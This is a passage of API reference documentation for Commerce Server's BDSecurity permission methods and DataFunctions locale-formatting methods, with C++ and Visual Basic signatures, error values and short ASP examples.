bstrSiteName [C++]
[in] A BSTR that contains the name of the site for which the BDSecurity object is being initialized.
bstrSiteName [Visual Basic]
A String that contains the name of the site for which the BDSecurity object is being initialized.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This method will not typically be called from any Commerce Server Business Desk modules. It is already called in the page Global.asa to initialize the global instance of the BDSecurity object that is referenced by the global variable g_MSCSBizDeskSecurity. Unless there is a good reason not to, all modules should use the global instance.

This method must be called for each particular instance of the BDSecurity object before any other methods (besides the backwards-compatibility method CanUserAccess) are called.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' The following exmaple is from the page Global.asa.

g_MSCSBDSecurity.Initialize(Application("MSCSSiteName"))

See Also

[C++] BDSecurity Object

[Visual Basic] BDSecurity Object

Security


IBDSecurity::RemoveAccount Method [C++]

BDSecurity.RemoveAccount Method [Visual Basic]

This method is used by the Permissions module and dialog box to remove all accounts associated with the specified security identifier (SID) from the Security Definitions Tables (SDT).

Definition

[C++]
HRESULT IBDSecurity::RemoveAccount(
  BSTR bstrSID,
);
[Visual Basic]
Sub RemoveAccount(
  bstrSID As String,
)

Parameters

bstrSID [C++]
[in] A BSTR that contains the SID corresponding to the account to be removed.
bstrSID [Visual Basic]
A String that contains the SID corresponding to the account to be removed.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This method will not typically be called from any Commerce Server Business Desk modules other than the Permissions module and dialog box.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' g_MSCSBizDeskSecurity is the global BD security object
' created in the page Global.asa.
' The request parameter "account" is used to pass the SID of account
' to be removed (from the page response_delaccount.asp).

g_MSCSBizDeskSecurity.RemoveAccount(Request("account"))

See Also

[C++] BDSecurity Object

[Visual Basic] BDSecurity Object

Security


IBDSecurity::RemoveSecurityDefinitions Method [C++]

BDSecurity.RemoveSecurityDefinitions Method [Visual Basic]

Use this method to remove all records associated with the specified combination of entity, element, and right from the Security Definitions Tables (SDT).

Definition

[C++]
HRESULT IBDSecurity::RemoveSecurityDefinitions(
  BSTR bstrEntity,
  VARIANT varElement
  VARIANT varRight
);
[Visual Basic]
Sub RemoveSecurityDefinitions(
  bstrEntity As String,
  Optional varElement As Variant,
  Optional varRight As Variant,
)

Parameters

bstrEntity [C++]
[in] A BSTR that contains the name of the entity for which security definitions should be removed.
bstrEntity [Visual Basic]
A String that contains the name of the entity for which security definitions should be removed.
varElement [C++]
[in, optional] An optional VARIANT that contains a string specifying the name of the element for which security definitions should be removed.
varElement [Visual Basic]
An optional Variant that contains a string specifying the name of the element for which security definitions should be removed.
varRight [C++]
[in, optional] An optional VARIANT that contains a string specifying the name of the right for which security definitions should be removed.
varRight [Visual Basic]
An optional Variant that contains a string specifying the name of the right for which security definitions should be removed.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This method should be used in Business Desk module code when the module uses dynamic entities, elements, and/or rights, and one of them is removed. Calling this method will clean up the SDT by removing the records associated with that entity, element, or right.

If either of the optional parameters (varElement and/or varRight), is not provided, they are treated as wildcards. In other words, records will be removed regardless of their element and/or right values.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' g_MSCSBizDeskSecurity is the global BD security object created in the page Global.asa.

' Will remove all records for the "Shoes" catalog category from the SDT,
' regardless of the rights associated with those records.

g_MSCSBizDeskSecurity.RemoveSecurityDefinitions("catalog_category", _
                                                "Shoes")

See Also

[C++] BDSecurity Object

[Visual Basic] BDSecurity Object

Security


IBDSecurity::SetPermissions Method [C++]

BDSecurity.SetPermissions Method [Visual Basic]

This method is used by the Permissions module and dialog box to set permission information (allow, deny, or undefined) for the specified combination of security identifier (SID), entity, element, and right.

Definition

[C++]
HRESULT IBDSecurity::SetPermissions(
  unsigned short iPermission,
  BSTR bstrSID,
  VARIANT varEntity
  VARIANT varElement
  VARIANT varRight
);
[Visual Basic]
Sub SetPermissions(
  iPermission As Variant,
  bstrSID As String,
  Optional varEntity As Variant,
  Optional varElement As Variant,
  Optional varRight As Variant,
)

Parameters

iPermission [C++]
[in] An unsigned short integer that specifies the permission to be set. See the Remarks section for more details.
iPermission [Visual Basic]
A Variant that specifies the permission to be set. See the Remarks section for more details.
bstrSID [C++]
[in] A BSTR that contains the security identifier (SID) of the account for which a permission is being set.
bstrSID [Visual Basic]
A String that contains the security identifier (SID) of the account for which a permission is being set.
varEntity [C++]
[in, optional] An optional VARIANT that contains a string specifying the name of the entity for which a permission is being set.
varEntity [Visual Basic]
An optional Variant that contains a string specifying the name of the entity for which a permission is being set.
varElement [C++]
[in, optional] An optional VARIANT that contains a string specifying the name of the element for which a permission is being set.
varElement [Visual Basic]
An optional Variant that contains a string specifying the name of the element for which a permission is being set.
varRight [C++]
[in, optional] An optional VARIANT that contains a string specifying the name of the right for which a permission is being set.
varRight [Visual Basic]
An optional Variant that contains a string specifying the name of the right for which a permission is being set.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This method will not typically be called from any Commerce Server Business Desk modules other than the Permissions module and dialog box.

The parameter iPermission must contain one of three numeric values, defined in the following table.

Value | Definition
0 | Allow. The user or group indicated by the provided SID has the right to perform the operation indicated by the varElement, varEntity, and varRight parameters.
1 | Deny. The user or group indicated by the provided SID does not have the right to perform the operation indicated by the varElement, varEntity, and varRight parameters.
2 | Undefined.

If any of the optional parameters (varEntity, varElement, and varRight) are not provided, the corresponding column in the BDSecurityDefinitions table will be assigned the value NULL.

This method checks the Security Definitions Tables (SDT) to make sure that a row with the provided combination of SID, entity, element, and right does not already exist. If it does already exist, the existing permission value is overwritten with the value provided by the parameter iPermission. This is done to prevent the creation of redundant or contradictory rows in the SDT.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' sSID is a string containing the SID of the relevant account.
' g_MSCSBizDeskSecurity is the global BD security object
' created in the page Global.asa.

' Will disallow the user(s) associated with the provided SID from
' performing edits within the "Shoes" category of product catalog.

call g_MSCSBizDeskSecurity.SetPermissions(1, sSID, "catalog_categories", _
                                          "Shoes", "edit")

See Also

[C++] BDSecurity Object

[Visual Basic] BDSecurity Object


DataFunctions Object [C++]

DataFunctions Object [Visual Basic]

Use this object to perform locale-based formatting, parsing, and value range checking in a site. This object also has a variety of utilities useful for site development.

ProgID: | Commerce.DataFunctions (Externally creatable)
COM Class Name: | DataFunctions_4_0
Type Library Name: | Commerce -- MSCSAspHelp Type Library
DLL Name: | MSCSAspHelp.dll
Threading Model: | Both
[C++]
COM Interface Name: | IDataFunctions_4_0
Interface ID Constant: | IID_IDataFunctions_4_0
Header File: | commerce.h, mspu_guids.h
[C++]

In C++, use the IDataFunctions_4_0 and IDataFunctions_3_0 interfaces to access the properties and methods of the DataFunctions object.

Methods

[C++]
Method | Description
CleanString | Processes the specified string. This processing can include stripping out white spaces, modifying the case of the string, and validating that the length of the string falls within a specified range.
ConvertDateString | Converts the specified string representation of the date to a date VARIANT, based on the default or specified locale.
ConvertDateTimeString | Converts the specified string representation of the date and time to a date VARIANT, based on the default or specified locale.
ConvertFloatString | Converts the specified string representation of a floating-point number to a double VARIANT, based on the default or specified locale.
ConvertMoneyStringToNumber | Converts the specified string representation of a currency value to a long VARIANT, based on the default or specified locale.
ConvertNumberString | Converts the specified string representation of a number to an integer VARIANT, based on the default or specified locale.
ConvertTimeString | Converts the specified string representation of a time value to a date VARIANT, based on the default or specified locale.
Date | Returns a string representation of a date stored in a date VARIANT, based on the default or specified locale.
DateTime | Returns a string representation of a date and time stored in a date VARIANT, based on the default or specified locale.
Float | Returns a string representation of a floating-point number, based on the default or specified locale.
GetLocaleInfo | Retrieves information about the specified locale.
GetLocaleList | Retrieves a list of installed locales.
Money | Returns a formatted currency string, based on the default or specified locale.
Number | Returns a string representation of a number, based on the default or specified locale.
Time | Returns a string representation of a time stored in a date VARIANT, based on the default or specified locale.
ValidateDateTime | Checks whether the specified string contains a valid date and/or time, and optionally checks against a specified range.
ValidateFloat | Checks whether the specified string contains a valid floating-point number, and optionally checks the value of the number against a specified range.
ValidateNumber | Checks whether the specified string contains a valid number, and optionally checks the value of the number against a specified range.
CloneObject | Clones a SimpleList or Dictionary object.
ConvertStringToCurrency | Converts the specified string representation of currency value into a currency VARIANT.
LocalizeCurrency | Creates a string representation of a currency value formatted to a specified locale and currency symbol.
[Visual Basic]
Method | Description
CleanString | Processes the specified string. This processing can include stripping out white spaces, modifying the case of the string, and validating that the length of the string falls within a specified range.
ConvertDateString | Converts the specified string representation of the date to a date Variant, based on the default or specified locale.
ConvertDateTimeString | Converts the specified string representation of the date and time to a date Variant, based on the default or specified locale.
ConvertFloatString | Converts the specified string representation of a floating-point number to a double Variant, based on the default or specified locale.
ConvertMoneyStringToNumber | Converts the specified string representation of a currency value to a long Variant, based on the default or specified locale.
ConvertNumberString | Converts the specified string representation of a number to an integer Variant, based on the default or specified locale.
ConvertTimeString | Converts the specified string representation of a time value to a date Variant, based on the default or specified locale.
Date | Returns a string representation of a date stored in a date Variant, based on the default or specified locale.
DateTime | Returns a string representation of a date and time stored in a date Variant, based on the default or specified locale.
Float | Returns a string representation of a floating-point number, based on the default or specified locale.
GetLocaleInfo | Retrieves information about the specified locale.
GetLocaleList | Retrieves a list of installed locales.
Money | Returns a formatted currency string, based on the default or specified locale.
Number | Returns a string representation of a number, based on the default or specified locale.
Time | Returns a string representation of a time stored in a date Variant, based on the default or specified locale.
ValidateDateTime | Checks whether the specified string contains a valid date and/or time, and optionally checks against a specified range.
ValidateFloat | Checks whether the specified string contains a valid floating-point number, and optionally checks the value of the number against a specified range.
ValidateNumber | Checks whether the specified string contains a valid number, and optionally checks the value of the number against a specified range.
CloneObject | Clones a SimpleList or Dictionary object.
ConvertStringToCurrency | Converts the specified string representation of currency value into a currency Variant.
LocalizeCurrency | Creates a string representation of a currency value formatted to a specified locale and currency symbol.

Properties

[C++]
Property | Type | Description
Locale | Long | Stores a number that represents the default locale to be used to format date, time, money, and number values. This property is read/write.
CurrencySymbol | VARIANT | Stores the currency symbol to use if no currency symbol is specified in the ConvertStringToCurrency and LocalizeCurrency methods. The default value is the system default currency symbol. This property is read/write.
[Visual Basic]
Property | Type | Description
Locale | Long | Stores a number that represents the default locale to be used to format date, time, money, and number values. This property is read/write.
CurrencySymbol | Variant | Stores the currency symbol to use if no currency symbol is specified in the ConvertStringToCurrency and LocalizeCurrency methods. The default value is the system default currency symbol. This property is read/write.


IDataFunctions_4_0 Methods

DataFunctions_4_0 Methods

Methods

[C++]
Method | Description
CleanString | Processes the specified string. This processing can include stripping out white spaces, modifying the case of the string, and validating that the length of the string falls within a specified range.
ConvertDateString | Converts the specified string representation of the date to a date VARIANT, based on the default or specified locale.
ConvertDateTimeString | Converts the specified string representation of the date and time to a date VARIANT, based on the default or specified locale.
ConvertFloatString | Converts the specified string representation of a floating-point number to a double VARIANT, based on the default or specified locale.
ConvertMoneyStringToNumber | Converts the specified string representation of a currency value to a long VARIANT, based on the default or specified locale.
ConvertNumberString | Converts the specified string representation of a number to an integer VARIANT, based on the default or specified locale.
ConvertTimeString | Converts the specified string representation of a time value to a date VARIANT, based on the default or specified locale.
Date | Returns a string representation of a date stored in a date VARIANT, based on the default or specified locale.
DateTime | Returns a string representation of a date and time stored in a date VARIANT, based on the default or specified locale.
Float | Returns a string representation of a floating-point number, based on the default or specified locale.
GetLocaleInfo | Retrieves information about the specified locale.
GetLocaleList | Retrieves a list of installed locales.
Money | Returns a formatted currency string, based on the default or specified locale.
Number | Returns a string representation of a number, based on the default or specified locale.
Time | Returns a string representation of a time stored in a date VARIANT, based on the default or specified locale.
ValidateDateTime | Checks whether the specified string contains a valid date and/or time, and optionally checks against a specified range.
ValidateFloat | Checks whether the specified string contains a valid floating-point number, and optionally checks the value of the number against a specified range.
ValidateNumber | Checks whether the specified string contains a valid number, and optionally checks the value of the number against a specified range.
CloneObject | Clones a SimpleList or Dictionary object.
ConvertStringToCurrency | Converts the specified string representation of currency value into a currency VARIANT.
LocalizeCurrency | Creates a string representation of a currency value formatted to a specified locale and currency symbol.
[Visual Basic]
Method | Description
CleanString | Processes the specified string. This processing can include stripping out white spaces, modifying the case of the string, and validating that the length of the string falls within a specified range.
ConvertDateString | Converts the specified string representation of the date to a date Variant, based on the default or specified locale.
ConvertDateTimeString | Converts the specified string representation of the date and time to a date Variant, based on the default or specified locale.
ConvertFloatString | Converts the specified string representation of a floating-point number to a double Variant, based on the default or specified locale.
ConvertMoneyStringToNumber | Converts the specified string representation of a currency value to a long Variant, based on the default or specified locale.
ConvertNumberString | Converts the specified string representation of a number to an integer Variant, based on the default or specified locale.
ConvertTimeString | Converts the specified string representation of a time value to a date Variant, based on the default or specified locale.
Date | Returns a string representation of a date stored in a date Variant, based on the default or specified locale.
DateTime | Returns a string representation of a date and time stored in a date Variant, based on the default or specified locale.
Float | Returns a string representation of a floating-point number, based on the default or specified locale.
GetLocaleInfo | Retrieves information about the specified locale.
GetLocaleList | Retrieves a list of installed locales.
Money | Returns a formatted currency string, based on the default or specified locale.
Number | Returns a string representation of a number, based on the default or specified locale.
Time | Returns a string representation of a time stored in a date Variant, based on the default or specified locale.
ValidateDateTime | Checks whether the specified string contains a valid date and/or time, and optionally checks against a specified range.
ValidateFloat | Checks whether the specified string contains a valid floating-point number, and optionally checks the value of the number against a specified range.
ValidateNumber | Checks whether the specified string contains a valid number, and optionally checks the value of the number against a specified range.
CloneObject | Clones a SimpleList or Dictionary object.
ConvertStringToCurrency | Converts the specified string representation of currency value into a currency Variant.
LocalizeCurrency | Creates a string representation of a currency value formatted to a specified locale and currency symbol.


IDataFunctions_4_0::CleanString Method [C++]

DataFunctions.CleanString Method [Visual Basic]

Use this method to process a string, based on the default or specified locale. The string processing can include stripping out leading and trailing white spaces, modifying string case, and validating that the length of the string falls within a given range.

Definition

[C++]
HRESULT IDataFunctions_4_0::CleanString(
 VARIANT vtInput,
 VARIANT vtMinLen,
 VARIANT vtMaxLen,
 VARIANT vtStripWhite,
 VARIANT vtStripReturn,
 VARIANT vtCase,
 VARIANT vtLocale,
 VARIANT* pvarOutput
);
[Visual Basic]
Function CleanString(
 vtInput As Variant,
 vtMinLen As Variant,
 vtMaxLen As Variant,
 vtStripWhite As Variant,
 vtStripReturn As Variant,
 vtCase As Variant,
 vtLocale As Variant
) As Variant

Parameters

vtInput [C++]
[in] A VARIANT that contains the text of the string to process.
vtInput [Visual Basic]
A Variant that contains the text of the string to process.
vtMinLen [C++]
[in] A VARIANT that contains the minimum length against which the length of the input string will be validated. The default value for this parameter is zero (0).
vtMinLen [Visual Basic]
A Variant that contains the minimum length against which the length of the input string will be validated. The default value for this parameter is zero (0).
vtMaxLen [C++]
[in] A VARIANT that contains the maximum length against which the length of the input string will be validated. The default value for this parameter is no limit.
vtMaxLen [Visual Basic]
A Variant that contains the maximum length against which the length of the input string will be validated. The default value for this parameter is no limit.
vtStripWhite [C++]
[in] A VARIANT that contains a Boolean value that indicates whether leading and trailing white spaces should be stripped from the input string. The default value is TRUE.
vtStripWhite [Visual Basic]
A Variant that contains a Boolean value that indicates whether leading and trailing white spaces should be stripped from the input string. The default value is True.
vtStripReturn [C++]
[in] A VARIANT that contains a Boolean value that indicates whether the carriage returns contained anywhere in the input string should be stripped. The default value is TRUE.
vtStripReturn [Visual Basic]
A Variant that contains a Boolean value that indicates whether the carriage returns contained anywhere in the input string should be stripped. The default value is True.
vtCase [C++]
[in] A VARIANT that specifies any conversions to the case of the input string. The default value for this parameter is zero (0), which results in no modification to the case of the input string. If this parameter is set to one (1), the input string is converted to uppercase. If this parameter is set to two (2), the input string is converted to lowercase.
vtCase [Visual Basic]
A Variant that specifies any conversions to the case of the input string. The default value for this parameter is zero (0), which results in no modification to the case of the input string. If this parameter is set to one (1), the input string is converted to uppercase. If this parameter is set to two (2), the input string is converted to lowercase.
vtLocale [C++]
[in] A VARIANT that specifies the locale to use when processing the input string. If this parameter is not specified, the value of the Locale property of the DataFunctions object is used.
vtLocale [Visual Basic]
A Variant that specifies the locale to use when processing the input string. If this parameter is not specified, the value of the Locale property of the DataFunctions object is used.
pvarOutput [C++]
[out, retval] A pointer used to return a VARIANT that contains the processed string.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a string Variant that contains the processed string; otherwise, NULL is returned.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvarOutput parameter contains valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

<HTML>
<HEAD>
</HEAD>
<BODY>
<%
Set MSCSDataFunctions = Server.CreateObject("Commerce.DataFunctions")
myLocale = "1033"
MSCSDataFunctions.Locale = myLocale
Dim Result
Dim strData
strData = " Microsoft Press   "
Result = MSCSDataFunctions.CleanString(strData, 1, 20, True, True, 1)
Response.Write Result
' "MICROSOFT PRESS" will be written to the page
%>
</BODY>
</HTML>

See Also

[C++] DataFunctions Object

[C++] IDataFunctions_4_0::get_Locale, put_Locale

[C++] IMSCSPage_3_0::RequestString

[Visual Basic] DataFunctions Object

[Visual Basic] DataFunctions.Locale

[Visual Basic] Page.RequestString


IDataFunctions_4_0::CloneObject Method [C++]

DataFunctions.CloneObject Method [Visual Basic]

Use this method to clone a SimpleList or Dictionary object. This method performs a deep copy of the cloned object, so new memory is allocated for the clone.

Definition

[C++]
HRESULT IDataFunctions_4_0::CloneObject(
 IDispatch* pdispSource,
 IDispatch** ppdispDest
);
[Visual Basic]
Function CloneObject(
 pdispSource As Object
) As Object

Parameters

pdispSource [C++]
[in] A pointer to the IDispatch interface of the SimpleList or Dictionary object to be cloned.
pdispSource [Visual Basic]
A reference to the SimpleList or Dictionary object to be cloned.
ppdispDest [C++]
[out, retval] The address of a pointer used to return the IDispatch interface of the SimpleList or Dictionary object clone.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a reference to the SimpleList or Dictionary object clone.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The ppdispDest parameter contains valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' dSource and dCopy are Dictionary objects
Set MSCSDataFunctions = Server.CreateObject("Commerce.DataFunctions")

dCopy = MSCSDataFunctions.CloneObject(dSource)

See Also

[C++] DataFunctions Object

[C++] IDataFunctions_4_0::get_Locale, put_Locale

[Visual Basic] DataFunctions Object

[Visual Basic] DataFunctions.Locale


IDataFunctions_4_0::ConvertDateString Method [C++]

DataFunctions.ConvertDateString Method [Visual Basic]

Use this method to convert a date string to a date Variant, based on the default or specified locale.

Definition

[C++]
HRESULT IDataFunctions_4_0::ConvertDateString(
 VARIANT vtDate,
 VARIANT vtLocale,
 VARIANT* pvtRet
);
[Visual Basic]
Function ConvertDateString(
 vtDate As Variant,
 vtLocale As Variant
) As Variant

Parameters

vtDate [C++]
[in] A VARIANT that contains a string representation of the date to convert.
vtDate [Visual Basic]
A Variant that contains a string representation of the date to convert.
vtLocale [C++]
[in] A VARIANT that specifies the locale to use when processing the string. If this parameter is not specified, the value of the Locale property of the DataFunctions object is used.
vtLocale [Visual Basic]
A Variant that specifies the locale to use when processing the string. If this parameter is not specified, the value of the Locale property of the DataFunctions object is used.
pvtRet [C++]
[out, retval] A pointer to a date VARIANT used to return the converted date.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a date Variant containing the converted value; otherwise, NULL is returned.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtRet parameter contains valid data only if the method completes successfully.

In some cases, the DataFunctions.ConvertDateString method returns NULL when converting a string representation of the date to the date Variant type for Latvian and Bulgarian locales. To avoid this problem, remove the constant string added at the end of the Date Representation String according to the Regional Settings in the Control Panel.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

<HTML>
<HEAD>
</HEAD>
<BODY>
<%
' Converts date using US and France locales
Dim Result
Set MSCSDataFunctions = Server.CreateObject("Commerce.DataFunctions")
myLocale = "1036"
MSCSDataFunctions.Locale = myLocale
Result = MSCSDataFunctions.ConvertDateString("12/1/2000", myLocale)
Response.Write "France: " & Result & "<P>"
myLocale = "1033"
MSCSDataFunctions.Locale = myLocale
Result = MSCSDataFunctions.ConvertDateString("12/1/2000", myLocale)
Response.Write "USA: " & Result
%>
</BODY>
</HTML>

See Also

[C++] DataFunctions Object

[C++] IDataFunctions_4_0::get_Locale, put_Locale

[C++] IDataFunctions_4_0::ConvertDateTimeString

[C++] IDataFunctions_4_0::Date

[C++] IDataFunctions_4_0::DateTime

[C++] IMSCSPage_3_0::RequestTime

[Visual Basic] DataFunctions Object

[Visual Basic] DataFunctions.Locale

[Visual Basic] DataFunctions.ConvertDateTimeString

[Visual Basic] DataFunctions.Date

[Visual Basic] DataFunctions.DateTime

[Visual Basic] Page.RequestTime


IDataFunctions_4_0::ConvertDateTimeString Method [C++]

DataFunctions.ConvertDateTimeString Method [Visual Basic]

Use this method to convert a date and time string to a date/time Variant, based on the default or specified locale.

Definition

[C++]
HRESULT IDataFunctions_4_0::ConvertDateTimeString(
 VARIANT vtDateTime,
 VARIANT vtLocale,
 VARIANT* pvtRet
);
[Visual Basic]
Function ConvertDateTimeString(
 vtDateTime As Variant,
 vtLocale As Variant
) As Variant

Parameters

vtDateTime [C++]
[in] A VARIANT that contains a string that specifies the date/time value to convert.
vtDateTime [Visual Basic]
A Variant that contains a string that specifies the date/time value to convert.
vtLocale [C++]
[in] A VARIANT that specifies the locale to use to convert the date. If this value is not specified, the value of the Locale property of the DataFunctions object is used.
vtLocale [Visual Basic]
A Variant that specifies the locale to use to convert the date. If this value is not specified, the value of the Locale property of the DataFunctions object is used.
pvtRet [C++]
[out, retval] A pointer to a VARIANT used to return the converted date/time value.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a datetime Variant that contains the converted date/time value; otherwise, NULL is returned.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtRet parameter contains valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

<HTML>
<HEAD>
</HEAD>
<BODY>
<%
' Converts date time string using US and France locales
' vSourceDateTime is a variant containing a date time string
Dim Result
Set MSCSDataFunctions = Server.CreateObject("Commerce.DataFunctions")
myLocale = "1036"
MSCSDataFunctions.Locale = myLocale
Result = MSCSDataFunctions.ConvertDateTimeString(vSourceDateTime, _
    myLocale)
Response.Write "France: " & Result & "<P>"
myLocale = "1033"
MSCSDataFunctions.Locale = myLocale
Result = MSCSDataFunctions.ConvertDateTimeString(vSourceDateTime , _
    myLocale)
Response.Write "USA: " & Result
%>
</BODY>
</HTML>

See Also

[C++] DataFunctions Object

[C++] IDataFunctions_4_0::get_Locale, put_Locale

[C++] IDataFunctions_4_0::ConvertDateString

[C++] IDataFunctions_4_0::Date

[C++] IDataFunctions_4_0::DateTime

[C++] IMSCSPage_3_0::RequestTime

[Visual Basic] DataFunctions Object

[Visual Basic] DataFunctions.Locale

[Visual Basic] DataFunctions.ConvertDateString

[Visual Basic] DataFunctions.Date

[Visual Basic] DataFunctions.DateTime

[Visual Basic] Page.RequestTime


IDataFunctions_4_0::ConvertFloatString Method [C++]

DataFunctions.ConvertFloatString Method [Visual Basic]

Use this method to convert a floating-point number represented as a string to a double Variant, based on the default or specified locale.

Definition

[C++]
HRESULT IDataFunctions_4_0::ConvertFloatString(
 VARIANT vtNum,
 VARIANT vtLocale,
 VARIANT* pvtRet
);
[Visual Basic]
Function ConvertFloatString(
 vtNum As Variant,
 vtLocale As Variant
) As Variant

Parameters

vtNum [C++]
[in] A VARIANT that contains a string representation of the floating-point number to convert.
vtNum [Visual Basic]
A Variant that contains a string representation of the floating-point number to convert.
vtLocale [C++]
[in] A VARIANT that specifies the locale to use to convert the string. If this parameter is not specified, the value of the Locale property of the DataFunctions object is used.
vtLocale [Visual Basic]
A Variant that specifies the locale to use to convert the string. If this parameter is not specified, the value of the Locale property of the DataFunctions object is used.
pvtRet [C++]
[out, retval] A pointer to a double VARIANT used to return the converted floating-point number.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a double Variant that contains the converted number; otherwise, NULL is returned.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtRet parameter contains valid data only if the method completed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

<HTML>
<HEAD>
</HEAD>
<BODY>
<%
' Converts float using US and France locales
' vSourceFloat is a variant containing a float string
Dim Result
Set MSCSDataFunctions = Server.CreateObject("Commerce.DataFunctions")
myLocale = "1036"
MSCSDataFunctions.Locale = myLocale
Result = MSCSDataFunctions.ConvertFloatString(vSourceFloat , _
    myLocale)
Response.Write "France: " & Result & "<P>"
myLocale = "1033"
MSCSDataFunctions.Locale = myLocale
Result = MSCSDataFunctions.ConvertFloatString(vSourceFloat , _
    myLocale)
Response.Write "USA: " & Result
%>
</BODY>
</HTML>

See Also

[C++] DataFunctions Object

